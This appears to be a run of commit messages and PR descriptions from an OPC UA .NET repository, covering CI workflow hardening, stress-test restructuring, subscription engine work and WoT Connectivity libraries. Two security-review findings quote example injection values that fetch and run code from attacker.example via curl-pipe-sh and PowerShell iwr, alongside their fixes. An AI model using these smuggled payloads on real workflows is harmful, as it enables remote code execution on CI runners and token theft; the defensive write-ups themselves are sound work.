Resolved NodeSetExportTools.cs conflict by adopting base branch's ResolveExportPath / ExportRoot abstraction (configurable via OPCUA_MCP_EXPORT_ROOT env var) and removing my redundant ResolveAndValidateExportPath helper + NodeSetExportPathValidationTests.cs. Base implementation is functionally a superset of F19's hard-coded LocalAppData approach.
Final security-review regression-sweep finding (MEDIUM, conf 9/10),
same anti-pattern that 3f4db2aec just fixed in stress-test.yml.
The "duration" workflow_dispatch input was bound at job-level env to
TEST_DURATION_MINUTES (line 28), then re-interpolated inside a bash
run: body via ${{ env.TEST_DURATION_MINUTES }} (line 53):
echo "Starting connection stability test for ${{ env.TEST_DURATION_MINUTES }} minutes"
GitHub Actions substitutes the expression BEFORE bash parses the
script. A workflow_dispatch caller with write access can supply
duration = 90"; curl https://attacker.example/x | sh; echo "
which renders to a bash script that executes the attacker payload —
RCE on the runner with the workflow's GITHUB_TOKEN.
Fix: read the value as a bash shell variable instead. The step-level
env: block (lines 62-63) already exports TEST_DURATION_MINUTES, so
$TEST_DURATION_MINUTES is available without a re-substitution:
echo "Starting connection stability test for $TEST_DURATION_MINUTES minutes"
Other ${{ env.* }} references in the same step (CONFIGURATION,
TARGET_FRAMEWORK) are sourced from job env constants that do not
flow from github.event.inputs, so they remain safe.
Add an explicit top-level "permissions:" block. Without it the workflow
inherited the repository's default GITHUB_TOKEN scopes — typically
contents: write, packages: write, etc. on push events — none of which
a build-and-test workflow needs. Least-privilege per SecCab-LeastPrivilege.
Block placed between "on:" and "concurrency:" so it scopes the whole
workflow (no individual job needs an override). Mirrors the scope used
by the new .github/workflows/stress-test.yml. No CI semantics change —
all jobs still run.
Security-review subagent finding (MEDIUM, confidence 9/10).
The "Generate ChaosTCP seed" step interpolated the workflow_dispatch
input directly into a pwsh run: body:
$configuredSeed = '${{ github.event.inputs.seed }}'
GitHub Actions substitutes the expression BEFORE the pwsh parser sees
the script. A workflow_dispatch caller (must have write access on the
repo) could supply a value like:
'; iwr https://attacker.example/x -OutFile /tmp/x; ./x; '
which renders to:
$configuredSeed = ''; iwr ... ; ./x; ''
— arbitrary PowerShell on the runner. Defense-in-depth gap: a leaked
CI token, compromised maintainer PAT, or future write-access grant
becomes runtime RCE without ever committing to git.
Fix: move the untrusted value into a step-scoped environment variable
and let pwsh read it as data, not as code:
env:
INPUT_SEED: ${{ github.event.inputs.seed }}
run: |
$configuredSeed = $env:INPUT_SEED
...
No behavioral change beyond the indirection — the same value flows
through [int]::Parse, $env:GITHUB_ENV, $env:GITHUB_OUTPUT and the
chaos-seed.txt repro file.
Merge the channel stress suite into Tests/Opc.Ua.Stress.Tests/Channels and move subscription stress tests into Subscriptions.
Drop the standalone Opc.Ua.Channels.Stress.Tests project from UA.slnx, carry over its package needs, enable nullable analysis, and fix analyzer warnings inline.
Rename the channel-manager stress workflow to the umbrella stress-test.yml workflow and point ChaosTCP at the merged project.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Applies the safe / minor review feedback on PR #3852. Larger refactors
are scoped into a separate plan posted on the PR for explicit approval
before starting (merge ClientChannelManager partials, merge Channels.Stress
into Opc.Ua.Stress.Tests, move ClientChannelManagerManagedTests out of
Core.Tests, implement the ignored exhaustion-recovery integration test,
fix remaining CA2007 / CA1861 / CA5394 / CA2025 warnings without NoWarn).
Changes in this commit:
- .github/workflows/buildandtest.yml: drop "legacy" wording from the
EXCLUDE comment (Stress suite is opt-in, not legacy).
- Applications/ConsoleReferenceClient/UAClient.cs +
Applications/ConsoleReferenceClient/ClientSamples.cs: replace
Action<IList, IList>? validateResponse with Action<Array, Array>? to
(1) remove the System.Collections import that 36d67b3d had dropped
and (2) match what the call sites already pass (T[] arrays).
- Stack/Opc.Ua.Core/Stack/Client/ClientBase.cs: remove the
pragma warning disable CS0809 around AttachChannel/DetachChannel
(both interface and impl are [Obsolete] so the warning does not fire).
- Tests/Opc.Ua.Channels.Stress.Tests/*/.gitkeep: delete the seven
per-folder .gitkeep marker files; every folder now has content.
- Tests/Opc.Ua.Channels.Stress.Tests/Opc.Ua.Channels.Stress.Tests.csproj:
drop SuppressTfmSupportBuildWarnings and per-ProjectReference
AdditionalProperties=SuppressTfmSupportBuildWarnings=true (TFMs
restricted to net8/net9/net10 which fully support all Microsoft.Extensions.*
packages). Drop project-specific NoWarn extras
(CA2007;CA2000;CA2016;CA2025;CA5394;CA1861;CS1591), keep only the
common test-project NoWarn that matches Opc.Ua.Stress.Tests etc.
Restore Nullable=annotations to match the established test convention.
- Tests/Opc.Ua.Channels.Stress.Tests/Helpers/WaitForQuiescence.cs:
add ! null-forgiving on the TryFindDiagnostic out parameter.
- 17 test files (Channels.Stress, Client.Tests, Core.Tests/Stack/Client,
Sessions.Tests): move pragma warning disable directives below the
using statements per the convention noted in the review.
Verified locally: Channels.Stress.Tests, Sessions.Tests, Client.Tests,
Core.Tests all build with 0 errors on net10.0.
- buildandtest.yml: add -maxcpucount:1 alongside UseSharedCompilation=false
to fully serialize project builds. The previous flag-only fix did not
prevent csc.exe processes building source-generator projects in parallel
from racing on Opc.Ua.SourceGeneration.Stack.dll (MSB3021 / MSB3027
copy-file lock errors on test-windows-latest-Channels.Stress and similar
matrix jobs).
- LeakCounters.AssertNoLeaks now honors the tolerance parameter for the
certificate leak count too (previously it was applied only to active
entries / refcount / participants). Cert disposal can lag by a few GC
cycles during stop/restart scenarios.
- ServerOutageRecoveryTests.AssertNoLeaksWithServerStoppedAsync passes
tolerance=8 to absorb the brief disposal lag observed on CI runners
during server stop/restart (test SingleSessionRecoversAfterServerRestartAsync
reported 18 leaked certs vs an expected upper bound of 16). The same
scenario passes locally where the GC pressure is different.
- HttpsTransportChannel.CanUseHttpClientFactory: the F10 HTTPS migration
was auto-routing every HTTPS endpoint through the
DefaultOpcUaHttpClientFactory.Shared HttpClient when no client cert
or validator was supplied, which BYPASSED the custom
ServerCertificateCustomValidationCallback wiring that
CreateDirectHttpClient sets up against the OPC UA CertificateValidator.
Result: HTTPS tests that rely on self-signed server certs (Sessions,
Client.ComplexTypes, PubSub) all failed with HttpRequestException
(SSL connection could not be established).
The factory path is now opt-in: only callers that explicitly supplied
a non-default IOpcUaHttpClientFactory get the shared HttpClient
pipeline; otherwise we always fall back to CreateDirectHttpClient
which honors the OPC UA TLS validation hooks.
- buildandtest.yml: add /p:UseSharedCompilation=false to the build step
to avoid the VBCSCompiler file-lock race (CS2012, "Cannot open ...
for writing -- file is being used by another process") seen on
Channels.Stress and other matrix jobs.
# Description
V2 subscription engine feature parity round to make the classic engine
eligible for deprecation. Splits the test surface so the classic and V2
engines can evolve independently, ports the gaps the classic-engine
integration tests had been exercising, and lands the public V2 API
additions needed to close them.
- Splits `Tests/Opc.Ua.Subscriptions.Tests` into a classic
(`Opc.Ua.Subscriptions.Classic.Tests`) and a V2
(`Opc.Ua.Subscriptions.Tests`) project to shrink CI time and let the two
engines diverge cleanly.
- Adds the V2 public-surface gaps required by the test ports
(`Subscription.ServerId` on the class, `SetSubscriptionDurableAsync`,
`SendInitialValuesOnTransfer`, unified `OnSubscriptionStateChangedAsync`
handler callback, per-item `ConditionRefreshAsync`, fluent
`LoadSubscriptionsAsync(Stream, …)` and `Subscription.Snapshot()` /
`RestoreAsync()` for save/load + transfer).
- Lands handler-centric design (no `PublishingStopped` property handlers
maintain derived state); always-sequential per-subscription delivery
documented + tested.
- **Adds short and long haul stability tests for the V2 `ManagedSession`
+ subscription engine. Closes #3744** (see "Issue #3744 Haul tests"
below).
- **Migrates SubscriptionStateSnapshot / MonitoredItemStateSnapshot to
`[DataType]` source-generator codecs**.
- `SubscriptionDurableV2Tests.cs` 5 V2 ports of the classic durable test
patterns.
- `V2FollowUpCoverageTests.cs` handler state-change callback, fluent
stream-based `LoadSubscriptionsAsync`, `SendInitialValuesOnTransfer`,
snapshot edge cases (empty / `DataChangeFilter` round-trip / concurrent
mutation).
- `SubscriptionFailoverV2Tests.cs` forced channel-break with and without
`WithTransferSubscriptionsOnRecreate`.
- `MonitoredItemConditionRefreshLiveV2Tests.cs` ΓÇö live
`ConditionRefresh` against the reference server's event source; asserts
`RefreshStart` / `RefreshEnd` events flow through the handler.
## Fixes
- #3744 Haul tests (V2 ManagedSession + subscription engine)
`Tests/Opc.Ua.Sessions.Tests/ManagedSessionStabilityTest.cs` adds the
short/long haul coverage requested by
[#3744](https://github.com/OPCFoundation/UA-.NETStandard/issues/3744)
plus the bonus fault-injection variant:
| Test | Duration | Category | Purpose |
|---|---|---|---|
| `ShortHaulManagedSessionV2Async` | 2 minutes | `ManagedSessionHaul`
(`[Explicit]`) | Quick local sanity check of the V2 monotonicity
contract. |
| `LongHaulManagedSessionV2Async` | 90 minutes (configurable via
`TEST_DURATION_MINUTES`) | `ManagedSessionHaul` (`[Explicit]`) |
Long-running V2 stability + monotonicity. |
| `LongHaulManagedSessionWithFaultInjectionV2Async` | 90 minutes
(configurable) + fault every `FAULT_INJECTION_INTERVAL_SECONDS` (default
60s) | `ManagedSessionHaul` (`[Explicit]`) | **Bonus** ΓÇö force-closes
the subscriber transport channel periodically; verifies V2 manager
transfers/recreates the subscription and continues monotonic delivery
across reconnects. |
**Pattern.** A writer `ManagedSession` increments a `uint32` counter and
writes it into `Scalar_Static_Mass_UInt32_UInt32_00` every 250ms. A
subscriber `ManagedSession` runs a V2 subscription with a single
monitored item on the same node. `MonotonicCounterHandler` asserts each
received sample is *strictly greater than* the previous one. V2
`ISubscriptionNotificationHandler` per-subscription ordering guarantee.
Skipped values (sampling rate < write rate) are tolerated; duplicates
and reorderings are violations.
* Add WoT Connectivity (OPC 10100-1) libraries and tests
Implements the OPC UA WoT Connectivity companion specification (OPC 10100-1, `WoT Connectivity for OPC UA`) through four new projects under the unified Opc.Ua.WotCon prefix:
* Opc.Ua.WotCon - source-generated model from the official WotConnection.xml + WotConnection.csv design files (NodeStates, NodeIds, ObjectType client proxies including WoTAssetFileTypeClient : FileTypeClient).
* Opc.Ua.WotCon.Server - WotConnectivityNodeManager (AsyncCustomNodeManager subclass), factory, DI options. Provider model split into IWotAssetProvider (per-asset Read/Write/Observe/InvokeAction) and IWotAssetDiscoveryProvider (server-level Discover/Test/CreateForEndpoint per spec sec. 6.3.4-6). System.Text.Json TD parser with AOT-safe JsonSerializerContext. Property mapper per spec table 14, action mapper per sec. 6.3.9. WotAssetFileManager enforces only OpenFileMode Read (1) and Write|EraseExisting (6) per spec sec. 6.3.10 and drives CloseAndUpdate materialisation + persistence.
* Opc.Ua.WotCon.Client - WotConnectivityClient and WotAssetClient compose the generated proxies (no inheritance). Extension methods on FileTypeClient / WoTAssetFileTypeClient add chunked upload/download and the Open(Write|EraseExisting) -> Write* -> CloseAndUpdate flow, extending the existing FileSystem API without subclassing.
* Opc.Ua.WotCon.Tests - NUnit suite (28 passing tests) covering TD parsing, property and action mappers, and the SimulatedWotAssetProvider/SimulatedWotDiscoveryProvider which serve as canonical examples of the provider contract.
* New certificate and secrete abstraction with certificate infrastructure and certificate/secret stores.
* leak testing for certificate resources to validate new ref counting in every test assembly
* Migration guide updated and documentation added for all
* Remove IDisposable from Nodestate and UserIdentity.
* UserCertificateTokenHandler now just points into certificate registry/stores, no dispose required
* Fix CA2000 warnings and cleanup of other diagnostics, increase warning levels in .editorconfig
Split validator load/validate; split DesignFileCollection Targets/Dependencies
ModelDesignValidator.LoadNodes now skips ValidateDictionary when a model is loaded purely as a dependency. The flag is plumbed through LoadModelDesign and LoadDesignFile; the dep loop in ValidateModel passes false, the primary target passes true. This lets callers supply unrelated or reverse dependencies (deps that import the target) without triggering premature validation failures.
DesignFileCollection exposes Targets + Dependencies; generators and tests updated. MergeNamespace preserves FilePath across PublicationDate-based replacement so later loads can still find the source file. Tester simplified to treat every other xml/csv pair as a dependency of each target.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
* make most ptojects aot compatible
* Remove newtonsoft
* Migrate all projects from Mono.Options to System.CommandLine 2.0.5
* Fix array clone
* Replace serializers for storage using new attribute driven type geberator
* Add new AOT integration tests covering all functional areas
* Documentation updates
Generate stack and application code using source generators
Change built in types to readonly structs
Update localized text implementation to use JSON text serializer
Status code with symbolic names
Immutable node ids
No boxing for all built in types <= 8 bytes in Variant.
Split user identity token and token handling via token handler
Add migration guide for breaking changes
This change adds a **new Opc.Ua.Types** nuget that contains core types that do not rely on generated code. Why the name? Because almost all code that was in the Types subfolder is part of it, and because we do not want to change the name of the Opc.Ua.Core nuget/assembly because code relies on it. Any other name like base or bootstrap felt out of place due to the current structure already defining the name "types". Key design is to depend on only a small set of libraries with limited transitive dependencies, that includes hashcode, logging.abstraction, and for non standard20 builds System.Text.Json (needed for localizedText mul parsing). Also, key is to support .netstd 2.0 to support source generators and to allow removal of EEC_SUPPORT defines by removing std2.0 from core and all libraries.
The changes are mostly restructuring, and thus small but contain some key changes:
- **Status code** struct now comes with a Symbol field, which is used to carry symbols in case the code is not generated. Currently (until generated) the status code struct must be manually created with a symbol or the ToSymbolicId extension must be called in the core project. Future will generate Status code constants just like NodeId that contain the symbol which also removes the reflection-based lookup. Several tests needed to be adjusted as they checked the status code symbol strings instead of the code.
- **Core identifiers** are copied as they were needed for code to compile, that includes attributes, a subset of status codes and node identifiers. These will never change so no need to generate them.
- The types folder now contains **encoders**, except for json which is still in core. Once the json encoder is ported to system.text.json it will also be included and Newtonsoft.Json dropped as dependency (-> #3329).
- Since types relies on **IOperationContext** and **ISystemContext**, and these export IUserIdentity which relies on crypto, these were split and extended in core with ISessionOperationContext and ISessionSystemContext, which mean changes to ServerSystemContext and introduction of SessionOperationContext and SessionSystemContext classes that extend OperationContext and SystemContext. Some runtime checks in the server are therefore needed to get at the session and auth info, however, those are anyway optional fields and are not on the critical paths, and thus a type check is in order (and was done in the past already, but against OperationContext class).
- **Manifest resources** are now split between Core (nodeset zip, some generated resoures) and Types (built in bsd/xsds). This needs to be revisited later if the bsd/xsd need to be regenerated during type generation. Note that the embedded resource names changed as a result. Since these are only used internally and do not constitute public API this feels reasonable vs duplication of resources in 2 assemblies.
- Reflection however now needs to load not just the built in **encodeables** from Opc.Ua.Types assembly, but also the generated encodeables from Opc.Ua.Core assembly. For this a new helper Utils method was added to get the Core assembly when linked against Opc.Ua.Core otherwise null.
- Whatever utils methods needed to be split out into the new Opc.Ua.Types assembly, they are now in **CoreUtils** static class in Opc.Ua.Types, and Utils.xxxx forwards to them to ensure minimal changes. Later we would want to obsolete them in favor of CoreUtils, although it might make sense to split them again into domain specific utilities, such as networking, files, etc
* Enable Durable Subscriptions (#9)
* [Server] Durable Subscriptions (#2683)
* Implement a system test for DurableSubscriptions (#2839)
* Client Side
Co-authored-by: ALTERNATE-DEV\Archie <archie@dreamsandadventures.ca>
* make a static Method CalculateRevisedQueueSize
* Adress review feedback
* fix FilterRetainTests
* Add MonitoredItem Id to Queues
Use NodeIdDictionary where possible
The goal is to reduce the overall number of builds, stop using end of life platforms in the build pipeline and to support
build of future/deprecated build targets in a custom build step, which is also triggered weekly in the ci builds.
In addition:
- added a doc which describes the release and versioning strategy of this project
- produce the Nuget packges with .NET 8 assemblies.
- produce a Docker build based on a .NET 8 based container.
- add custom test targets to test outdated platforms. Need a manual step to enable for VS or command line.
- bug fixes: the latest move to an alternate crypto library for Bouncy Castle, which is only used for the GDS support and .NET Framework 4.6.2./netstandard2.0, revealed already a few issues which were previously not found.
- only .NET8/.NET6/.NET Framework 4.8 are tested in Pull requests. Remaining builds in weekly scheduled builds.